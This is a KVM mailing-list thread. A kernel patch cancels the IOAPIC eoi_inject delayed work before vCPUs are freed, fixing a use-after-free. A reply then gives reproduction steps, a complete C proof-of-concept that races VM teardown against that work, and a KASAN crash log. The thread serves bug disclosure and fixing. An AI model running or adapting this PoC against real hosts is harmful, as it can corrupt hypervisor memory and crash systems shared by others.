Kernel KVM virtualization development
 help / color / mirror / Atom feed
* [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs
@ 2026-07-05  5:04 Weiming Shi
  2026-07-05  5:18 ` 王众
  2026-07-06  9:09 ` Huang, Kai
  0 siblings, 2 replies; 4+ messages in thread
From: Weiming Shi @ 2026-07-05  5:04 UTC (permalink / raw)
  To: Sean Christopherson, Paolo Bonzini
  Cc: kvm, Weiming Shi, Xuanqing Shi, Zhong Wang

kvm_ioapic_eoi_inject_work() re-delivers a throttled level-triggered
interrupt via kvm_irq_delivery_to_apic(), which walks kvm->arch.apic_map
and dereferences the destination vCPU's APIC.  The work is cancelled only
in kvm_ioapic_destroy(), which runs after kvm_destroy_vcpus() has freed
the vCPUs and their APICs.  kvm_free_lapic() does not rebuild apic_map, so
the map is left with dangling pointers, and a work item that fires during
that window reads freed memory:

 BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
 Read of size 8 by task kworker/3:1
 Workqueue: events kvm_ioapic_eoi_inject_work
  __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
  __kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1343)
  ioapic_service (arch/x86/kvm/ioapic.c:492)
  kvm_ioapic_eoi_inject_work (arch/x86/kvm/ioapic.c:525)
  process_one_work

 Freed by task 153:
  kvm_arch_vcpu_destroy (arch/x86/kvm/x86.c:12871)
  kvm_destroy_vcpus (virt/kvm/kvm_main.c:489)
  kvm_arch_destroy_vm (arch/x86/kvm/x86.c:13402)
  kvm_destroy_vm (virt/kvm/kvm_main.c:1302)
  kvm_vm_release (virt/kvm/kvm_main.c:1363)

A guest arms the work by EOIing a level-triggered pin 10000 times in a
row, so the window is reachable from guest ring 0 whenever its VM is torn
down soon after.

Add kvm_ioapic_pre_destroy() and call it from kvm_arch_pre_destroy_vm(),
which already stops the PIT and the kvmclock/MMU workers before vCPUs are
freed for the same reason.

Fixes: 184564efae4d ("kvm: ioapic: conditionally delay irq delivery duringeoi broadcast")
Reported-by: Zhong Wang <wangzhong.c0ss4ck@bytedance.com>
Reported-by: Xuanqing Shi <shixuanqing.11@bytedance.com>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
 arch/x86/kvm/ioapic.c | 8 ++++++++
 arch/x86/kvm/ioapic.h | 1 +
 arch/x86/kvm/x86.c    | 1 +
 3 files changed, 10 insertions(+)

diff --git a/arch/x86/kvm/ioapic.c b/arch/x86/kvm/ioapic.c
index eed96ff6e722..51b7b0807bb6 100644
--- a/arch/x86/kvm/ioapic.c
+++ b/arch/x86/kvm/ioapic.c
@@ -740,6 +740,14 @@ int kvm_ioapic_init(struct kvm *kvm)
 	return ret;
 }
 
+void kvm_ioapic_pre_destroy(struct kvm *kvm)
+{
+	struct kvm_ioapic *ioapic = kvm->arch.vioapic;
+
+	if (ioapic)
+		cancel_delayed_work_sync(&ioapic->eoi_inject);
+}
+
 void kvm_ioapic_destroy(struct kvm *kvm)
 {
 	struct kvm_ioapic *ioapic = kvm->arch.vioapic;
diff --git a/arch/x86/kvm/ioapic.h b/arch/x86/kvm/ioapic.h
index 3dadae093690..5bfbae63f368 100644
--- a/arch/x86/kvm/ioapic.h
+++ b/arch/x86/kvm/ioapic.h
@@ -105,6 +105,7 @@ void kvm_rtc_eoi_tracking_restore_one(struct kvm_vcpu *vcpu);
 void kvm_ioapic_update_eoi(struct kvm_vcpu *vcpu, int vector,
 			int trigger_mode);
 int kvm_ioapic_init(struct kvm *kvm);
+void kvm_ioapic_pre_destroy(struct kvm *kvm);
 void kvm_ioapic_destroy(struct kvm *kvm);
 int kvm_ioapic_set_irq(struct kvm_kernel_irq_routing_entry *e, struct kvm *kvm,
 		       int irq_source_id, int level, bool line_status);
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index fd1c4a36b593..3c03fd75c93b 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -13374,6 +13374,7 @@ void kvm_arch_pre_destroy_vm(struct kvm *kvm)
 	 */
 #ifdef CONFIG_KVM_IOAPIC
 	kvm_free_pit(kvm);
+	kvm_ioapic_pre_destroy(kvm);
 #endif
 
 	kvm_mmu_pre_destroy_vm(kvm);
-- 
2.54.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs
  2026-07-05  5:04 [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs Weiming Shi
@ 2026-07-05  5:18 ` 王众
  2026-07-06  9:09 ` Huang, Kai
  1 sibling, 0 replies; 4+ messages in thread
From: 王众 @ 2026-07-05  5:18 UTC (permalink / raw)
  To: Weiming Shi
  Cc: Sean Christopherson, Paolo Bonzini, kvm, Weiming Shi,
	Xuanqing Shi

Reproduction Steps

1. prepare x86_64 kernel image

```
make O=build-kasan-outline x86_64_defconfig

./scripts/config --file build-kasan-outline/.config \
    -e MODULES \
    -m KVM -m KVM_AMD -m KVM_INTEL -e KVM_IOAPIC \
    -e KASAN -e KASAN_GENERIC -e KASAN_OUTLINE \
    -d KASAN_INLINE -e KASAN_STACK -e KASAN_VMALLOC -e KASAN_EXTRA_INFO \
    -e DEBUG_INFO_DWARF5 -d DEBUG_INFO_NONE \
    -e FRAME_POINTER -e UNWINDER_FRAME_POINTER -d UNWINDER_ORC \
    -d PANIC_ON_OOPS --set-val PANIC_TIMEOUT 0 \
    -e DEVTMPFS -e DEVTMPFS_MOUNT -e BLK_DEV_INITRD \
    -e VIRTIO -e VIRTIO_PCI -e VIRTIO_BLK -e VIRTIO_NET

make O=build-kasan-outline olddefconfig
make O=build-kasan-outline -j$(nproc) bzImage modules
make O=build-kasan-outline INSTALL_MOD_PATH=initramfs-kasan-outline modules_install
```


2. prepare qemu + initramfs

Build the PoC statically and copy it into the initramfs:

```
gcc -O2 -static -pthread -Wall -Wextra \
    -o initramfs-kasan-outline/bin/kvm-x86-poc kvm-x86-poc.c
```

The minimal initramfs contains BusyBox, libc/ld-linux for BusyBox, the KASAN
kernel modules installed above, and an `/init` script which mounts proc/sys/dev,
loads `kvm` and `kvm_amd`, verifies `/dev/kvm`, then drops to a shell.

Pack the initramfs:

```
(cd initramfs-kasan-outline && \
    find . -print0 | cpio --null -ov --format=newc | gzip -9 \
    > ../initramfs-kasan-outline.cpio.gz)
```

3. boot qemu with the kernel image

```
qemu-system-x86_64 \
    -machine q35 \
    -accel tcg,thread=multi \
    -cpu max,svm=on,npt=on,vgif=on \
    -smp 4 \
    -m 4096 \
    -kernel build-kasan-outline/arch/x86/boot/bzImage \
    -initrd initramfs-kasan-outline.cpio.gz \
    -append "console=ttyS0 earlyprintk=serial panic=0 oops=panic panic_on_warn=0 nokaslr" \
    -nographic \
    -no-reboot \
    -serial mon:stdio
```

4. run the PoC inside the guest
(tested on AMD EPYC 9Y24 CPU, theoretically the PoC also works on Intel CPU)
```
modprobe kvm
modprobe kvm_amd

POC_ITERS=100 POC_NVCPU=64 POC_ARM_TIMEOUT_MS=15000 POC_SLEEP_US=10000 /bin/kvm-x86-poc
```

PoC:
```
// SPDX-License-Identifier: GPL-2.0
//
// PoC: KVM in-kernel IOAPIC "delayed EOI-inject" work Use-After-Free
// ==================================================================
//
// Root cause (verified against linux v7.0-rc7 ... v7.2-rc1):
//
//   * A guest that keeps a level-triggered IOAPIC pin asserted and EOIs it
//     10000 times in a row makes the host schedule a *delayed_work*:
//
//        arch/x86/kvm/ioapic.c :
//        kvm_ioapic_update_eoi_one():
//            if (ioapic->irq_eoi[pin] == IOAPIC_SUCCESSIVE_IRQ_MAX_COUNT) {  // 10000
//                schedule_delayed_work(&ioapic->eoi_inject, HZ / 100);       // ~10ms
//                ...
//            }
//
//   * That work (kvm_ioapic_eoi_inject_work) re-delivers the IRQ ~10ms later:
//        kvm_ioapic_eoi_inject_work() -> ioapic_service()
//          -> kvm_irq_delivery_to_apic() -> __kvm_irq_delivery_to_apic_fast()
//          -> dst[i] = <stale pointer from kvm->arch.apic_map>
//          -> kvm_apic_set_irq(dst[i]->vcpu, ...) -> writes into apic->regs   // SINK
//
//   * VM teardown frees the vCPUs / LAPICs BEFORE cancelling that work:
//        arch/x86/kvm/x86.c : kvm_arch_destroy_vm():
//            kvm_destroy_vcpus(kvm);      // frees kvm_lapic + free_page(apic->regs)
//            ...
//            kvm_ioapic_destroy(kvm);     // <-- only here: cancel_delayed_work_sync()
//
//     kvm_arch_pre_destroy_vm() cancels the PIT / kvmclock / MMU workers but
//     NOT ioapic->eoi_inject -- even though its own comment warns that
//     "iterating over vCPUs in a different task while vCPUs are being freed
//      ... will lead to use-after-free".
//
//     kvm_free_lapic() frees the LAPIC and its regs page but does NOT
//     recalculate kvm->arch.apic_map, so the map keeps dangling kvm_lapic*
//     entries until it is itself freed (after kvm_ioapic_destroy()).
//
//   => If the ~10ms timer fires while / after kvm_destroy_vcpus() has freed the
//      target LAPIC, the work writes into freed memory: slab-use-after-free.
//
// This is a RACE. To *observe* it you must run this PoC inside a guest kernel
// built with CONFIG_KASAN=y and CONFIG_KVM_IOAPIC=y (nested virtualization).
// Without KASAN the corruption is silent / intermittent -- do NOT run it on a
// production host.
//
// Strategy:
//   for many iterations:
//     1. create a fresh VM with an in-kernel irqchip and N vCPUs
//     2. vCPU0 runs a tiny 32-bit guest that:
//          - enables its LAPIC
//          - programs IOAPIC pin 1 as level-triggered, vector 0x30, dest APIC 0
//          - takes+EOIs the interrupt in a tight loop
//        Host counts the EOIs; at #10000 it arms ioapic->eoi_inject (+10ms) and
//        pauses delivery. The guest then signals us with `out 0xF4`.
//     3. sleep ~9-10ms so the work's timer is about to expire, then destroy the
//        VM (close all fds). If the work fires during kvm_destroy_vcpus() -> UAF.
//   The per-iteration sleep is swept slightly to cover scheduling jitter.
//
// Build (static, for a minimal initramfs):  gcc -O2 -static -pthread -o poc kvm_ioapic_eoi_uaf.c
//
// Env knobs:  POC_ITERS (default 200000)  POC_NVCPU (default 16)
//             POC_SLEEP_US (base sleep, default 9000)
//
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/kvm.h>

#define GUEST_MEM_SIZE  (4 * 1024 * 1024)   // 4 MiB of low RAM
#define ENTRY_GPA       0x1000
#define HANDLER_GPA     0x1200
#define IDT_GPA         0x2000
#define GDT_GPA         0x3000
#define COUNTER_GPA     0x4000
#define STACK_GPA       0x8000

#define IOAPIC_PIN      1                    // GSI 1
#define GUEST_VECTOR    0x30

// -------- guest machine code (32-bit protected mode, flat, no paging) --------
//
// Entry @ 0x1000: enable LAPIC, program IOAPIC RTE for pin 1, sti, poll counter
// until it reaches 10000, then `out 0xF4` to signal "armed", then hlt-loop.
static const uint8_t guest_entry[] = {
    /* mov edi, 0xFEE000F0            */ 0xBF, 0xF0, 0x00, 0xE0, 0xFE,
    /* mov eax, 0x000001FF            */ 0xB8, 0xFF, 0x01, 0x00, 0x00,
    /* mov [edi], eax   ; LAPIC SVR   */ 0x89, 0x07,
    /* mov esi, 0xFEC00000 ; IOAPIC   */ 0xBE, 0x00, 0x00, 0xC0, 0xFE,
    /* mov ecx, 0xFEC00010 ; data     */ 0xB9, 0x10, 0x00, 0xC0, 0xFE,
    /* mov eax, 0x13    ; RTE1 high   */ 0xB8, 0x13, 0x00, 0x00, 0x00,
    /* mov [esi], eax                 */ 0x89, 0x06,
    /* xor eax, eax                   */ 0x31, 0xC0,
    /* mov [ecx], eax   ; dest = 0    */ 0x89, 0x01,
    /* mov eax, 0x12    ; RTE1 low    */ 0xB8, 0x12, 0x00, 0x00, 0x00,
    /* mov [esi], eax                 */ 0x89, 0x06,
    /* mov eax, 0x00008030 ; vec|lvl  */ 0xB8, 0x30, 0x80, 0x00, 0x00,
    /* mov [ecx], eax                 */ 0x89, 0x01,
    /* sti                            */ 0xFB,
    /* poll:                          */
    /* cmp dword [0x4000], 10000      */ 0x81, 0x3D, 0x00, 0x40, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00,
    /* jb poll            ; -12       */ 0x72, 0xF4,
    /* mov al, 0                      */ 0xB0, 0x00,
    /* out 0xF4, al   ; signal armed  */ 0xE6, 0xF4,
    /* done: hlt                      */ 0xF4,
    /* jmp done           ; -3        */ 0xEB, 0xFD,
};

// Handler @ 0x1200: write LAPIC EOI, inc counter, iretd.
static const uint8_t guest_handler[] = {
    /* mov edi, 0xFEE000B0            */ 0xBF, 0xB0, 0x00, 0xE0, 0xFE,
    /* xor eax, eax                   */ 0x31, 0xC0,
    /* mov [edi], eax   ; LAPIC EOI   */ 0x89, 0x07,
    /* inc dword [0x4000]             */ 0xFF, 0x05, 0x00, 0x40, 0x00, 0x00,
    /* iretd                          */ 0xCF,
};

static int kvm_fd = -1;
static int dbg = 0;                  // POC_DEBUG=1 -> print exit reasons

void noop_handler(int sig);          // defined at end of file

struct vm {
    int vm_fd;
    int nvcpu;
    int *vcpu_fd;               // [nvcpu]
    struct kvm_run *run0;       // vCPU0's run struct
    size_t run0_sz;
    uint8_t *mem;               // guest RAM (host mapping)
};

// vCPU0 thread state
static volatile int g_armed;
static volatile int g_stop;

static void die(const char *m) { perror(m); exit(1); }

// Build one 32-bit interrupt gate (8 bytes) into `dst`.
static void set_idt_gate(uint8_t *idt, int vec, uint32_t handler, uint16_t sel)
{
    uint8_t *g = idt + vec * 8;
    g[0] = handler & 0xff;
    g[1] = (handler >> 8) & 0xff;
    g[2] = sel & 0xff;
    g[3] = (sel >> 8) & 0xff;
    g[4] = 0;
    g[5] = 0x8E;                        // present, DPL0, 32-bit interrupt gate
    g[6] = (handler >> 16) & 0xff;
    g[7] = (handler >> 24) & 0xff;
}

static void set_flat_seg(struct kvm_segment *s, uint16_t sel, uint8_t type)
{
    memset(s, 0, sizeof(*s));
    s->selector = sel;
    s->base = 0;
    s->limit = 0xffffffff;
    s->type = type;                     // 0xB code, 0x3 data
    s->present = 1;
    s->dpl = 0;
    s->db = 1;                          // 32-bit
    s->s = 1;                           // code/data (not system)
    s->l = 0;
    s->g = 1;                           // 4KiB granularity
    s->avl = 0;
}

static void setup_guest_memory(struct vm *vm)
{
    uint8_t *m = vm->mem;

    // Code + handler.
    memcpy(m + ENTRY_GPA,   guest_entry,   sizeof(guest_entry));
    memcpy(m + HANDLER_GPA, guest_handler, sizeof(guest_handler));

    // IDT: point *every* vector at the handler (code selector 0x08). The real
    // IRQ is 0x30, but the LAPIC can also raise its spurious vector (0xFF) etc.;
    // leaving those gates empty faults into a null gate -> triple fault. The
    // handler is generic (EOI + inc + iretd) so it is safe for any vector.
    for (int v = 0; v < 256; v++)
        set_idt_gate(m + IDT_GPA, v, HANDLER_GPA, 0x08);

    // GDT: null / flat code (0x08) / flat data (0x10).
    static const uint8_t gdt[24] = {
        0,0,0,0,0,0,0,0,                        // null
        0xFF,0xFF,0,0,0, 0x9A, 0xCF, 0,         // 0x08 code, base0 lim4G g=1 db=1
        0xFF,0xFF,0,0,0, 0x92, 0xCF, 0,         // 0x10 data
    };
    memcpy(m + GDT_GPA, gdt, sizeof(gdt));

    // Counter starts at 0 (mem is fresh MAP_ANONYMOUS, already zeroed).
}

static void setup_vcpu0_regs(struct vm *vm)
{
    int fd = vm->vcpu_fd[0];
    struct kvm_sregs sregs;
    struct kvm_regs regs;

    if (ioctl(fd, KVM_GET_SREGS, &sregs) < 0) die("KVM_GET_SREGS");

    set_flat_seg(&sregs.cs, 0x08, 0xB);         // exec/read, accessed
    set_flat_seg(&sregs.ds, 0x10, 0x3);
    sregs.es = sregs.fs = sregs.gs = sregs.ss = sregs.ds;
    sregs.es.selector = sregs.fs.selector = sregs.gs.selector = sregs.ss.selector = 0x10;

    sregs.gdt.base = GDT_GPA;  sregs.gdt.limit = 0x17;
    sregs.idt.base = IDT_GPA;  sregs.idt.limit = 0x7FF;

    sregs.cr0 = 0x11;                            // PE=1, ET=1 (paging OFF)
    sregs.cr2 = sregs.cr3 = sregs.cr4 = 0;
    sregs.efer = 0;

    if (ioctl(fd, KVM_SET_SREGS, &sregs) < 0) die("KVM_SET_SREGS");

    memset(&regs, 0, sizeof(regs));
    regs.rip = ENTRY_GPA;
    regs.rsp = STACK_GPA;
    regs.rflags = 0x2;                           // reserved bit; IF set later by `sti`
    if (ioctl(fd, KVM_SET_REGS, &regs) < 0) die("KVM_SET_REGS");
}

static void *vcpu0_thread(void *arg)
{
    struct vm *vm = arg;
    struct kvm_run *run = vm->run0;

    for (;;) {
        int r = ioctl(vm->vcpu_fd[0], KVM_RUN, 0);
        if (r < 0) {
            if (errno == EINTR) {
                if (g_stop) return NULL;
                continue;
            }
            if (dbg) fprintf(stderr, "[dbg] KVM_RUN errno=%d\n", errno);
            return NULL;
        }
        if (dbg) {
            struct kvm_regs rg; ioctl(vm->vcpu_fd[0], KVM_GET_REGS, &rg);
            fprintf(stderr, "[dbg] exit=%u rip=%#llx cnt=%u",
                    run->exit_reason, (unsigned long long)rg.rip,
                    *(volatile uint32_t *)(vm->mem + COUNTER_GPA));
            if (run->exit_reason == KVM_EXIT_IO)
                fprintf(stderr, " io.port=%#x dir=%u", run->io.port, run->io.direction);
            if (run->exit_reason == KVM_EXIT_INTERNAL_ERROR)
                fprintf(stderr, " suberr=%u", run->internal.suberror);
            if (run->exit_reason == KVM_EXIT_FAIL_ENTRY)
                fprintf(stderr, " hw=%#llx",
                        (unsigned long long)run->fail_entry.hardware_entry_failure_reason);
            fprintf(stderr, "\n");
        }
        switch (run->exit_reason) {
        case KVM_EXIT_IO:
            if (run->io.port == 0xF4) {          // guest says "work armed"
                g_armed = 1;
                return NULL;
            }
            break;                               // ignore any other port
        case KVM_EXIT_HLT:
            return NULL;
        case KVM_EXIT_SHUTDOWN:
        case KVM_EXIT_FAIL_ENTRY:
        case KVM_EXIT_INTERNAL_ERROR:
            // Typically: host lacks "unrestricted guest" for unpaged PM,
            // or a setup bug. Report once from main via g_armed staying 0.
            return NULL;
        default:
            break;                               // MMIO shouldn't occur (in-kernel devs)
        }
    }
}

// Create a fresh VM, arm the delayed work, race the teardown against it.
// Returns 1 if the work was armed (iteration "counted"), 0 otherwise.
static int run_iteration(int nvcpu, useconds_t sleep_us)
{
    struct vm vm;
    memset(&vm, 0, sizeof(vm));
    vm.nvcpu = nvcpu;

    vm.vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);
    if (vm.vm_fd < 0) die("KVM_CREATE_VM");

    // Intel needs a TSS region for the (unpaged) guest; harmless elsewhere.
    ioctl(vm.vm_fd, KVM_SET_TSS_ADDR, 0xfffbd000);

    // In-kernel PIC + IOAPIC + per-vCPU LAPIC -- the vulnerable IOAPIC lives here.
    if (ioctl(vm.vm_fd, KVM_CREATE_IRQCHIP, 0) < 0) die("KVM_CREATE_IRQCHIP");

    // Guest RAM.
    vm.mem = mmap(NULL, GUEST_MEM_SIZE, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);
    if (vm.mem == MAP_FAILED) die("mmap guest mem");

    struct kvm_userspace_memory_region region = {
        .slot = 0,
        .guest_phys_addr = 0,
        .memory_size = GUEST_MEM_SIZE,
        .userspace_addr = (uint64_t)vm.mem,
    };
    if (ioctl(vm.vm_fd, KVM_SET_USER_MEMORY_REGION, &region) < 0)
        die("KVM_SET_USER_MEMORY_REGION");

    setup_guest_memory(&vm);

    // Create N vCPUs. Only vCPU0 runs; the rest exist to widen the teardown
    // window in kvm_destroy_vcpus() (more LAPICs to free before the cancel).
    vm.vcpu_fd = calloc(nvcpu, sizeof(int));
    for (int i = 0; i < nvcpu; i++) {
        vm.vcpu_fd[i] = ioctl(vm.vm_fd, KVM_CREATE_VCPU, i);
        if (vm.vcpu_fd[i] < 0) die("KVM_CREATE_VCPU");
    }

    vm.run0_sz = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
    vm.run0 = mmap(NULL, vm.run0_sz, PROT_READ | PROT_WRITE,
                   MAP_SHARED, vm.vcpu_fd[0], 0);
    if (vm.run0 == MAP_FAILED) die("mmap kvm_run");

    setup_vcpu0_regs(&vm);

    // Assert the level-triggered line and keep it high (never deasserted).
    struct kvm_irq_level lvl = { .irq = IOAPIC_PIN, .level = 1 };
    if (ioctl(vm.vm_fd, KVM_IRQ_LINE, &lvl) < 0) die("KVM_IRQ_LINE");

    // Run vCPU0 until it arms the work and signals us.
    g_armed = 0;
    g_stop = 0;
    pthread_t th;
    pthread_create(&th, NULL, vcpu0_thread, &vm);

    // Wait (bounded) for arming.
    struct timespec deadline;
    clock_gettime(CLOCK_REALTIME, &deadline);
    long arm_timeout_ms = getenv("POC_ARM_TIMEOUT_MS") ?
                          atol(getenv("POC_ARM_TIMEOUT_MS")) : 500;
    if (arm_timeout_ms < 1)
        arm_timeout_ms = 1;
    deadline.tv_sec += arm_timeout_ms / 1000;
    deadline.tv_nsec += (arm_timeout_ms % 1000) * 1000 * 1000;
    while (deadline.tv_nsec >= 1000000000) {
        deadline.tv_sec++;
        deadline.tv_nsec -= 1000000000;
    }
    if (pthread_timedjoin_np(th, NULL, &deadline) != 0) {
        // vCPU stuck (host without unrestricted-guest? APIC issue). Bail out.
        g_stop = 1;
        pthread_kill(th, SIGUSR1);
        pthread_join(th, NULL);
    }

    int armed = g_armed;

    int tfd = -1, mfd = -1;
    if (getenv("POC_TRACE_ON")) {
        tfd = open("/sys/kernel/tracing/tracing_on", O_WRONLY);
        if (tfd >= 0) { if (write(tfd, "1", 1) < 0) {/*ignore*/} }
        mfd = open("/sys/kernel/tracing/trace_marker", O_WRONLY);
        if (mfd >= 0) { if (write(mfd, "POC_ARMED", 9) < 0) {/*ignore*/} }
    }

    // The work will fire ~10ms after arming. Sleep so that our destroy lands
    // right as the timer expires -> kvm_destroy_vcpus() frees LAPICs while the
    // work executes -> use-after-free.
    if (armed)
        usleep(sleep_us);

    // ---- teardown (triggers kvm_destroy_vm -> the racy path) ----
    struct timespec t0, t1;
    if (dbg) clock_gettime(CLOCK_MONOTONIC, &t0);
    munmap(vm.run0, vm.run0_sz);
    for (int i = 0; i < nvcpu; i++)
        close(vm.vcpu_fd[i]);                    // drop per-vCPU kvm references
    munmap(vm.mem, GUEST_MEM_SIZE);
    if (mfd >= 0) { if (write(mfd, "POC_CLOSE_VM", 12) < 0) {/*ignore*/} }
    close(vm.vm_fd);                             // last ref -> destroy runs here
    if (mfd >= 0) { if (write(mfd, "POC_CLOSED", 10) < 0) {/*ignore*/} close(mfd); }
    if (tfd >= 0) { if (write(tfd, "0", 1) < 0) {/*ignore*/} close(tfd); }
    if (dbg) {
        clock_gettime(CLOCK_MONOTONIC, &t1);
        long us = (t1.tv_sec - t0.tv_sec) * 1000000L + (t1.tv_nsec - t0.tv_nsec) / 1000;
        fprintf(stderr, "[dbg] teardown(nvcpu=%d) = %ld us  (sleep was %u us)\n",
                nvcpu, us, sleep_us);
    }
    free(vm.vcpu_fd);

    return armed;
}

int main(void)
{
    // Defaults are the empirically-confirmed sweet spot on a HZ=1000 KASAN
    // kernel: ~32 vCPUs makes kvm_destroy_vcpus() free vCPU0 at ~CLOSE+7ms and
    // reach kvm_ioapic_destroy() (the cancel) at ~CLOSE+10ms, straddling the
    // work's ~10ms fire time -> the work delivers to the just-freed vCPU0.
    long iters   = getenv("POC_ITERS")   ? atol(getenv("POC_ITERS"))   : 200000;
    int  nvcpu   = getenv("POC_NVCPU")   ? atoi(getenv("POC_NVCPU"))   : 32;
    long base_us = getenv("POC_SLEEP_US")? atol(getenv("POC_SLEEP_US")): 0;

    if (nvcpu < 1) nvcpu = 1;
    dbg = getenv("POC_DEBUG") ? atoi(getenv("POC_DEBUG")) : 0;

    // A noop SIGUSR1 handler (no SA_RESTART) so pthread_kill() can EINTR a
    // stuck KVM_RUN in the vCPU thread.
    struct sigaction s;
    memset(&s, 0, sizeof(s));
    s.sa_handler = noop_handler;
    s.sa_flags = 0;
    sigaction(SIGUSR1, &s, NULL);

    kvm_fd = open("/dev/kvm", O_RDWR | O_CLOEXEC);
    if (kvm_fd < 0) die("open /dev/kvm");

    int api = ioctl(kvm_fd, KVM_GET_API_VERSION, 0);
    if (api != KVM_API_VERSION) { fprintf(stderr, "KVM API %d\n", api); return 1; }

    fprintf(stderr,
        "[*] IOAPIC eoi_inject UAF race: iters=%ld nvcpu=%d base_sleep=%ldus\n"
        "[*] Needs a KASAN guest kernel to *observe* the UAF. Ctrl-C to stop.\n",
        iters, nvcpu, base_us);

    long armed_ok = 0;
    for (long i = 0; i < iters; i++) {
        // Start teardown ASAP (tiny sleep) so kvm_destroy_vcpus() frees the
        // target LAPIC (vCPU0, freed first, within ~100us) BEFORE the eoi_inject
        // timer fires. With many vCPUs the free loop lasts many ms, so
        // kvm_ioapic_destroy() (which cancels the work) is reached only long
        // after the timer fires -> the work delivers to freed vCPU0 -> UAF.
        useconds_t sleep_us = (useconds_t)(base_us + (i % 1500));   // ~0 .. 1.5 ms
        armed_ok += run_iteration(nvcpu, sleep_us);

        if ((i % 500) == 0)
            fprintf(stderr, "\r[*] iter=%ld armed=%ld   ", i, armed_ok);
    }
    fprintf(stderr, "\n[*] done (no crash observed in %ld iters)\n", iters);
    return 0;
}

// Separate TU-visible noop so -O2 can't fold it away in a surprising manner.
void noop_handler(int sig) { (void)sig; }
```

crash log

```
/ # POC_ITERS=100 POC_NVCPU=64 POC_ARM_TIMEOUT_MS=15000 POC_SLEEP_US=10000 /bin/kvm-x86-poc
[*] IOAPIC eoi_inject UAF race: iters=100 nvcpu=64 base_sleep=10000us
[*] Needs a KASAN guest kernel to *observe* the UAF. Ctrl-C to stop.
[*] iter=0 armed=1   [   50.773111] ==================================================================
[   50.775501] BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast+0x29f/0x3e0 [kvm]
[   50.778186] Read of size 8 at addr ff1100010a2906a0 by task kworker/3:1/47
[   50.778450]
[   50.779189] CPU: 3 UID: 0 PID: 47 Comm: kworker/3:1 Not tainted 7.2.0-rc1 #1 PREEMPT(lazy)
[   50.779420] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[   50.779572] Workqueue: events kvm_ioapic_eoi_inject_work [kvm]
[   50.781876] Call Trace:
[   50.781950]  <TASK>
[   50.782031]  dump_stack_lvl+0x5f/0x80
[   50.782382]  print_report+0xd1/0x5d0
[   50.782441]  ? __virt_addr_valid+0xf1/0x1a0
[   50.782489]  ? kasan_complete_mode_report_info+0x80/0x210
[   50.782541]  kasan_report+0xeb/0x120
[   50.782605]  ? __kvm_irq_delivery_to_apic_fast+0x29f/0x3e0 [kvm]
[   50.784322]  ? __kvm_irq_delivery_to_apic_fast+0x29f/0x3e0 [kvm]
[   50.786015]  __asan_load8+0x82/0xb0
[   50.786101]  __kvm_irq_delivery_to_apic_fast+0x29f/0x3e0 [kvm]
[   50.787814]  ? __pfx___kvm_irq_delivery_to_apic_fast+0x10/0x10 [kvm]
[   50.789532]  ? ktime_get+0x70/0x110
[   50.789600]  ? lapic_next_event+0x14/0x20
[   50.789649]  ? clockevents_program_event+0x1cd/0x410
[   50.789704]  __kvm_irq_delivery_to_apic+0xc7/0x5d0 [kvm]
[   50.791399]  ? __kasan_check_write+0x18/0x20
[   50.791449]  ? __update_load_avg_cfs_rq+0x2db/0x5e0
[   50.791492]  ? cpuacct_charge+0x8b/0xb0
[   50.791536]  ? __pfx___kvm_irq_delivery_to_apic+0x10/0x10 [kvm]
[   50.793217]  ? pick_eevdf+0x2f9/0x330
[   50.793268]  ? rb_insert_color+0x183/0x2a0
[   50.793337]  ioapic_service+0x291/0x2c0 [kvm]
[   50.795009]  ? __pfx_ioapic_service+0x10/0x10 [kvm]
[   50.796697]  ? __pfx__raw_spin_lock+0x10/0x10
[   50.796752]  kvm_ioapic_eoi_inject_work+0xaa/0xd0 [kvm]
[   50.798437]  process_one_work+0x373/0x710
[   50.798505]  worker_thread+0x284/0x4d0
[   50.798560]  ? __pfx_worker_thread+0x10/0x10
[   50.798607]  kthread+0x1b9/0x200
[   50.798670]  ? __pfx_kthread+0x10/0x10
[   50.798709]  ret_from_fork+0x2b8/0x490
[   50.798753]  ? __pfx_ret_from_fork+0x10/0x10
[   50.798794]  ? __asan_storeN+0x16/0x20
[   50.798833]  ? __switch_to+0x2fb/0x720
[   50.798878]  ? __pfx_kthread+0x10/0x10
[   50.798920]  ret_from_fork_asm+0x1a/0x30
[   50.799004]  </TASK>
[   50.799081]
[   50.803914] Allocated by task 109 on cpu 1 at 48.240120s:
[   50.804161]  kasan_save_stack+0x3d/0x60
[   50.804408]  kasan_save_track+0x1c/0x70
[   50.804559]  kasan_save_alloc_info+0x3b/0x50
[   50.804750]  __kasan_kmalloc+0x9c/0xa0
[   50.804888]  __kmalloc_cache_noprof+0x162/0x3a0
[   50.805040]  kvm_create_lapic+0x59/0x230 [kvm]
[   50.806856]  kvm_arch_vcpu_create+0x102/0x4d0 [kvm]
[   50.808719]  kvm_vm_ioctl+0xa82/0x18b0 [kvm]
[   50.810483]  __x64_sys_ioctl+0xcc/0x120
[   50.810670]  x64_sys_call+0xa79/0x2010
[   50.810815]  do_syscall_64+0x102/0x5e0
[   50.810956]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   50.811144]
[   50.811236] Freed by task 109 on cpu 2 at 50.771569s:
[   50.811400]  kasan_save_stack+0x3d/0x60
